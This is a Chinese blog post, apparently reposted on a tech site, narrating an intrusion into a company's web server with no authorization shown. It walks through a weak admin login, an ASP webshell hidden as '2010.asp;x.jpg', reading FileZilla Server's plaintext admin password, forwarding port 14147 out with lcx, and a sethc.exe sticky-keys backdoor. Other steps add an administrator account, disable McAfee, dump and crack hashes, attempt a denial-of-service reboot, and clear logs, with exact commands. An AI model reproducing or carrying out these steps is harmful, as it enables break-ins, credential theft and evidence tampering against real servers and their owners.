前段时间检测一个企业网站,在检测该企业的一个下属公司的网站时通过用户名admin和密码123456进入了后台,后台目录就是公司汉语拼音+admin,诸如xxxadmin这种形式的。在后台通过“产品图片”上传了一个改名为“2010.asp;x.jpg”的asp一句话木马,顺利得到了webshell,webshell的地址为公司网址/pic/22302010.asp;x.jpg”。

使用一句话木马的“Get Drivers”功能列出了C、D、E、F、G、H盘的大小和可用空间的大小,看来权限还比较大,于是我就想来尝试一下提权。使用一句话木马获得网站的物理路径后尝试上传aspx木马ASPXSpy2009,上传成功了,但在访问时却不匹配,看来这个网站不支持aspx文件啊。

为了方便操作,我使用一句话木马上传了一个asp大马,通过asp大马发现服务器权限设置的很松,几乎可以浏览任何目录,也可以浏览别的网站的目录,并且有写权限。“c:\windows\system32\”目录不出意料的只有读取权限,WScript.Shell没有删除,尝试使用系统中的“c:\windows\system32\cmd.exe”来执行命令,提示拒绝访问,我上传了一个cmd.exe到网站目录下,这次可以执行命令了。通过执行“netstat -an”命令发现3389端口开放了,使用我的远程桌面连接程序连接一下,发现可以连接,因此登录服务器的3389就成了我的一个目标。通过“netstart”命令还发现服务器安装了FileZilla Server FTP server.McAfee杀毒软件以及MSSQL。

我在服务器的硬盘上翻查着有用的信息,发现服务器上有很多网站,但没有找到sa用户的密码,甚至没有发现服务器上的任何一个网站使用的是MSSQL数据库。继续翻查硬盘,我拿到的webshell的网站是在“F:\dongtai\”目录下,在“F:\wood\”目录下发现也有很多网站,在一个网站的目录下尝试上传ASPXSpy,这次终于可以运行了。

有了aspx的webshell使用起来就更方便了,首先WScript.Shell可以直接调用系统目录下的cmd.exe就能执行命令了,不用再像调用网站目录下的cmd.exe那样要带网站目录的路径才行,另外就是利用ASPXSpy的“IIS Spy”功能发现了服务器上运行着140个网站。我测试了一下,发现aspx的webshell对于“c:\window\system32\”目录下的文件同样只有读取权限。

既然webshell已经拿到手了,就要考虑提权了,一个网站下的webshell居然可以浏览别的网站目录下的文件,还有写权限,看来管理员的安全做的实在不怎么样啊,不试试提权还真对不起他了。想了想常用的提权方法,好像都用不上,对了,刚才不是发现服务器上安装了FileZilla Server FTP server吗,说不定它就是一个突破口。在“D:\ProgramFiles\FileZilla Server\”目录下找到了FileZilla Server的安装目录,尝试复制该目录下的FileZilla server.exe,复制成功了,这说明该目录可写。

这对我绝对是个好消息,通过tasklist命令发现了FileZilla server.exe和FileZilla Server Interfac.exe正在运行,使用木马替换上面的任意一个文件,等到FileZilla Server重启或系统重启后就会运行我们的木马了,到此我已经找到了一种提权的方法。这个替换文件的提权方法虽然可行,但弊端也很大,即使提权成功了,也会把服务器上的FileZilla Server搞挂,很容易被管理员发现,提权本来就是无聊玩玩,为此影响到服务器的正常运行那可就不好了。

如果真要使用替换文件的方法来提权,我们还可以考虑对FileZilla server.exe进行文件插码,加入添加一个系统管理员用户的代码,这样当系统重启后就会添加一个管理员用户,使用添加的管理员用户再直接登录3389也是一种提权方法,这比使用木马直接替换FileZilia server.exe要更好,但仍然要对FileZilla server.exe进行修改,也可能会被管理员发现,再来找找,说不定还有更好的方法。

我在FileZilla Server的安装目录下发现有一个FileZiIlaS erver.xml文件,使用websbell查看它的内容,发现它保存着FTP软件FileZilla Server的用户信息。

其中“User Name”后面是FTP用户的用户名,“Pass”后面是经过MD5加密后的密码值(32位),“Permission Dir”是该FTP用户可以管理的目录,这里为“F:”,也就是整个F盘。“Permissions”下面是该FTP用户的权限设置,比如“FileWrite”的值为“1”,就说明该FTP用户在该目录下有写权限,如果为“0”,则表示没有写权限。经测试,FileZilla Server.xml同样可以写,于是我考虑通过修改这个文件来添加一个对C盘有完全权限的用户,然后再通过FTP登录后利用shift后门来提权。我不知道具体怎样通过修改FileZilla Server.xml来添加用户,为了保险起见,还是先在我的电脑上测试好后再在服务器上进行修改吧。

在服务器的H盘根目录下发现了一个名为FileZilla_Server-0_9_31.exe的文件,估计就是服务器上FileZillaServer的安装文件,下载回来后,在虚拟机里进行了安装,软件是英文的,一路点击“Next”,不用做任何修改,最后点击“Install”后就可以完成安装了。FileZilla Server的管理端口默认为14147,默认管理密码为空,直接点击“OK”按钮,看到那个“Logged on”的提示就说明登录成功了。

点击“Edit”菜单下的“Settings”就来到了软件的设置界面,在这里可以设置客户端的连接端口、连接超时等,点击“Admin Interface seetings”,选中“Change admin password”,输入要设置的新密码,就可以修改FileZiila Server的管理密码了。

"IP Addresses which are allowed to connect to the admininterface:”是设置允许哪些IP连接到管理控制台,默认情况下只有127.0.0.1可以,这给我们的提权带来了一些小麻烦,如果允许任何IP连接到管理控制台,那提权就太简单了。我发现这些设置都保存在了FileZilla Server安装目录下的FileZiIla Server Interface.xml文件中,使用记事本打开后就会发下里面的内容。

很简单的,“Last Server Port”是管理端口,这里为默认的14147,“Last Server Address”是上次登录的IP,“Last Server Password”是管理密码,修改了管理密码的话会在这里显示出来,我在设置中把密码修改为了hackerxfiles,重新登录一下管理控制台,再打开FileZillaServer Interface.xml文件,在“Last Server Password”后面看到了刚修改的密码hackerxfiles。

到此我们就知道了FileZilla Server的管理密码是以明文的形式保存在FileZilla Server安装目录下的FileZilla ServerInterface.xml文件中,真有点儿搞不明白软件的作者是怎么想的,普通FTP用户的密码经过MD5加密后保存了,而重要的控制台管理密码却以明文的形式保存在文件中,难道是疏忽了?

我马上想到服务器上FileZilla Server的控制台管理密码是否修改了,使用webshell查看服务器上FileZilla Server安装目录下的FileZilia Server Interface.xml.发现密码果然更改了,修改为了bmlink,把它记录下来,说不定有什么用的。下面来看怎样添加用户,点击有一个小人头像的“Users”按钮就打开了用户管理界面,在这里可以增加、删除FTP用户,并对FTP用户的主目录、权限等进行设置。右上角的“Users”编辑框下会显示所有的FTP用户列表,由于还没添加任何FTP用户,因此用户列表是空的。我们来添加一个用户,点击“Add”按钮会弹出了“Add useraccount”对话框,输入想要添加的FTP用户的名字,这里我输入了hackefXfiles,下面的选择用户组不用管,点击OK按钮后就添加了一个用户,我们来给这个用户设置一个密码,选择“Password”单选框,在后面输入想要设置的密码,这里我设置密码为123456。

接下来设置这个FTP用户的主目录,点击“Sharefolders”选择,点击“Add”按钮来添加主目录,这里主目录我选择了c盘,单击一下刚才添加的目录“c:\”,把右面的权限都选上。然后点击左下角的“OK”按钮,用户就添加完成了,试着使用该用户登录一下FTP,功能一切正常。

本机会添加用户了,就该通过修改FileZilla Server.xml来给服务器添加用户了。本机添加hackerxfiles这个FTP用户后,本来我想通过直接复制添加的用户信息到服务器上,但不确定用户信息具体是从哪里开始哪里和结束,为了稳妥起见,我决定采用把服务器上的FileZilla Server.xml下载到本机,覆盖本机的FileZilla Server.xml,添加好用户后再使用添加好用户的FileZilla Server.xml覆盖服务器上的FileZilla Server.xml。

把服务器上的FileZilla Server.xml下载到本机并覆盖本机的FileZilla Server.xml,为了使新的FileZilla Server.xml生效,还需要依次点击开始菜单中的Stop FileZilla Server和Start FileZilla Server来重启FileZilla Server。登录管理控制台,添加一个名为test,密码为123456,对c盘有完全权限的用户,然后把FileZilla Server,xml上传到服务器中.备份服务器上原来的FileZilla Server.xml后覆盖。只要服务器重启或FileZilla Server重启,那么添加的用户就会生效了,管理员一般不会无缘无故重启的,看来只能耐心的等等了。

为了知道服务器是否重启,我使用webshell执行命令systeminfo,发现了如下的命令回显“系统启动时间:15天13小时44分19秒”,这说明系统已经15天没有重启了,还是耐心的等待吧。我每天都使用websbell执行一次systeminfo命令来查看服务器重启了没有,但令我失望的是系统启动时间一天一天增加,可就是不见服务器重启,我等不及了,看来要另想别的办法了。

使用什么办法才可以让服务器重启昵,我搜索了一下在webshell下重启服务器的方法,大多数都是消耗完服务器的系统资源让服务器重启,我找到了一个guest权限下可以运行的让服务器重启的程序,原理也是消耗系统资源,先在虚拟机中测试了一下效果,我的虚拟机系统是512MB的内存,运行程序后很快系统就假死了,只能重新启动。通过webshell把程序上传到服务器中,运行后我就去干别的事了,过了3个多小时再去webshell上查看,发现服务器还是没有重启,我叉运行了一次程序,第二天再去查看,服务器依然没有重启。估计是服务器配置比较高的原因吧,通过webshell让服务器重启的方法看来也行不通了。

静下心来想了一想,我现在使用的提权方法,只需要等服务器重启就可以提权成功了,那有没有别的方法呢?通过搜索发现网上介绍的FileZilla Server的提权方法除了我上面使用的修改FileZilla Server.xml添加FTP用户外,还提到了一种方法就是通过FPipe把FileZilla Server的‘默认管理端口转发到别的端口,这有点儿类似于Serv-U的转发端口提权。我先在虚拟机里测试了一下,在一台支持aspx的虚拟机的Windows7系统中安装FileZilla Server,作为假想服务器,IP地址为192.168.32.128,在虚拟机里的另一台Windows 2003系统中只安装FileZilla Server的“Administralion interface”,也就是只安装FileZilla Server的管理控制台,安装好后尝试登录假想服务器系统中FileZilla Server的控制台,尽管密码正确却不能连接,因为14147端口绑定了登录lP为127.0.0.1,也就是只能在本机登录。通过webshell把FPipe.exe上传到网站根目录下,然后执行以下命令“C:\www\FPipe.exe—v—l 12345-r 14147127.0.0.1”,其中“C:\www\”就是网站目录,该命令的意思就是把连接到12345端口的数据转发到l4147端口,命令执行后使用FileZilla Server IntBrface连接l92.168.32.128的12345端口,成功登录了。

在虚拟机里测试成功了,下面就来到远程服务器上实际提权,使用虚拟机里系统中的McAfee杀毒软件扫描了一下我使用的FPipe.exe,没有报毒,省得做免杀了。把FPipe.exe上传到服务器的网站目录下,执行端口转发命令后满怀希望的使用控制台程序FileZilla Server Interface进行连接,却还是连接不上,郁闷了。通过执行“netstat -an”命令发现12345端口在监听了,就是连不上,telnet-下服务器的12345端口,连接失败,可能是服务器上的防火墙阻止了连接,后来登录到服务器后确实发现服务器上开着系统自带的防火墙。我在虚拟机里安装了FileZⅢa Server的系统中打开Windowa自带的防火墙,还是使用FPipe转发端口,用控制台程序FileZilia Server Interface连接就连不上了,软件提示“Connection to server lost”,这个方法又没有成功。

睡了一觉后,我打算再碰碰运气,首先使用htran从服务器上反弹了一个代理到我的电脑上,使用SocksCap32连接上代理后再进行连接,依然登录不成功。这时候我又想到了在登录内网电脑的3389时用到的lcx,可不可以把服务器的14147端口转发到我的电脑上来进行登录呢?反正在网上没有看到使用这个方法的,来试试吧。在本机上安装FileZilla Server的Administration interface,然后

在本机抗行命令“lcx.exe。listen 5114147”,我又找了一个免杀McA fee的lcx.e上传到服务器的网站目录下,在webshell中执行“lcx.cxe -slave123,123.123.123 51 127.0.0.'1 14147”,其中假设123.123.I 23.123就是我电脑的公网IP地址。成功把数据转发了出来,使用FileZilla Server Interface连接,连接lP就写127.0.0.1,

端口使用默认的14147,连接密码就写找到的管理密码bmlink,点击“Ok”按钮后过了一两秒钟终于登录成功了!马上添加了一个名为est,密码为123456,对c盘有完全权限的用户,然后使用test用户成功登录了FTP。登录FTP后切换到C:\WINDOWS\system32\dllcache目录下,然后执行命令“getsethc.cxe”,把服务器上的C:\WINDOWS\system32\dllcache目录下的sethc.exe下载到本机备份,方便过一会儿恢复使用,执行“delsethc.exe”把当前量录下的sethc.exe删除,再执行“get cmd.exe“把服务器上C:\WINDOWS\system32\dllcache目录下的cmd.exe下载到本地,然后把下载回来的cmd.exe重命名为sethc.exe,然后再通过命令“put sethc.exe”把刚才改名为sethc.exe的cmd.exe上传到服务器的c:\WINDOWS\system32\dIJcache目录下,然后执行命令“cd”把目录切换到C:\WINDOWS\system32\目录下,分别执行命令“del sethc.exe”,  “put sethc.exe”。

执行完这些命令后就完成了在服务器上使用cmd.exe替换sethc.exe,我们使用远程桌面连接程序连接服务器的IP,在出来的用户登录界面下按5下shift键,就出来了cmd窗口。

在这个cmd窗口中执行命令“net user 123 123 /add”,“net localgroup administrators 123 /add",添加了一个用户名和密码都为123的管理员用户,然后使用23用户登录服务器的3389,登录3389后我叉想抓取管理员用户的密码hash值,但上传PwDump71时被McAfee查杀了,选择McAfee的“禁用按访问扫描”后把PwDump71传了上去,成功抓取了用户的hash,使用7.9G的彩虹表成功破解出了管理员的密码为admin!@#321,然后使用管理员用户登录了远程桌面。

把替换的sethc.exe恢复过来,再把建立的FTP用户删除掉,清理一下FileZilla Server的日志,提权就完成了。整个提权的过程中没用到什么新技术,都是一些老方法和老工具的组合,从找到提权方法到找到更好的提权方法,根据遇到的问题不断变化应对的方法,最终用自己满意的方法完成了提权。

QQ空间
新浪微博
 

记一次FileZillaServer提权的更多相关文章

  1. 记一次WindowsServer2012提权 - 烂土豆

    此次主题:烂土豆 shell咋拿的 我也忘了 好像是添加友情链接那里还是啥 不重要了 直接获取shell后 先用systeminfo > 1.txt了一下 然后放到了 windows-explo ...

  2. 一次PHP大马提权

    记一次PHP提权 发现 PHP大马:指木马病毒:PHP大马,就是PHP写的提取站点权限的程序:因为带有提权或者修改站点功能,所以称为叫木马. 自从师哥那里听说过之后,一直感叹于PHP大马的神奇...但 ...

  3. 「白帽黑客成长记」Windows提权基本原理(下)

    上一篇文章我们介绍了信息收集方法和WMIC,今天我们将跟随作者深入学习Windows提权基本原理的内容,希望通过这两篇文章的讲解,大家能够真正掌握这个技能. 推荐阅读:「白帽黑客成长记」Windows ...

  4. [转帖]「白帽黑客成长记」Windows提权基本原理(下)

    「白帽黑客成长记」Windows提权基本原理(下) https://www.cnblogs.com/ichunqiu/p/10968674.html 提权.. 之前还在想 为什么 我的 sqlserv ...

  5. [转帖]「白帽黑客成长记」Windows提权基本原理(上)

    「白帽黑客成长记」Windows提权基本原理(上) https://www.cnblogs.com/ichunqiu/p/10949592.html 我们通常认为配置得当的Windows是安全的,事实 ...

  6. 记一次 lampiao渗透(Drupal+脏牛提权)

    vulnhub|渗透测试lampiao 题记 最近在打靶机,发现了一个挺有意思的靶机,这里想跟大家分享一下. 环境准备 vulnhub最近出的一台靶机 靶机(https://www.vulnhub.c ...

  7. 记一次ms16-032成功提权win7/win12

    E:\Tools\提权大结合\ms16-032>whoami pc-20140503jfge\administrator 首先查看权限是administrator 随后溢出 可以看到是syste ...

  8. 记一次初步Linux提权

    前言. 提权这么久了  还是头一次提下Linux的服务器... 由于之前一直钻研的win服务器  要不是前些日子爆出来Struts2-045漏洞 估计还没时间接触Linux提权.... 正文. st2 ...

  9. 「白帽黑客成长记」Windows提权基本原理(上)

    我们通常认为配置得当的Windows是安全的,事实真的是这样吗?今天让我们跟随本文作者一起深入了解Windows操作系统的黑暗角落,看看是否能得到SYSTEM权限. 作者将使用不同版本的Windows ...

随机推荐

  1. 转载-CentOS7关闭防火墙

    原文地址-http://www.cnblogs.com/silent2012/archive/2015/07/28/4682770.html CentOS 7.0默认使用的是firewall作为防火墙 ...

  2. JAVA进阶10

    间歇性混吃等死,持续性踌躇满志系列-------------第10天 1.Random package cn.intcast.day08.demo01; import java.util.Random ...

  3. Django-3-Template模板

    模板是html文档+Django逻辑语句的组合. 一.变量和标签 变量通过{{ }}来表示,两个大括号中间是变量名. 标签通过{% %}来表示,就是Python中的函数和方法. 常用标签: {% fo ...

  4. WebService - 基础概念

    一.WebService到底是什么 一言以蔽之:WebService是一种跨编程语言和跨操作系统平台的远程调用技术. 所谓跨编程语言和跨操作平台,就是说服务端程序采用java编写,客户端程序则可以采用 ...

  5. WSL用xshell连接

    编辑配置文件 sudo vim /etc/ssh/sshd_config Port 8022(因为 Windows 10 的 SSH 端口已经默认被占用,所以我换成了一个新的端口) (去掉前面的 #) ...

  6. mysql 备份报错mysqldump: [Warning] Using a password on the command line interface can be insecure.

    -------------------------------------------------------------------------------- mysql 备份报错mysqldump ...

  7. 将DataTable转换为List<T>对象遇到问题:类型“System.Int64”的对象无法转换为类型“System.Int32”。

    可以利用反射将DataTable转换为List<T>对象:原始链接http://www.jb51.net/article/67386.htm 但是该方法在DataTable里某个字段类型是 ...

  8. oracle查看执行最慢与查询次数最多的sql语句

    前言 在ORACLE数据库应用调优中,一个SQL的执行次数/频率也是常常需要关注的,因为某个SQL执行太频繁,要么是由于应用设计有缺陷,需要在业务逻辑上做出优化处理,要么是业务特殊性所导致.如果执行频 ...

  9. Redis 可视化工具:Web Redis Manager

    以前用的:RedisDesktopManager (0.9.3以后需要订阅) https://github.com/uglide/RedisDesktopManager/releases 现在需要订阅 ...

  10. Java Spring Boot VS .NetCore (九) Spring Security vs .NetCore Security

    Java Spring Boot VS .NetCore (一)来一个简单的 Hello World Java Spring Boot VS .NetCore (二)实现一个过滤器Filter Jav ...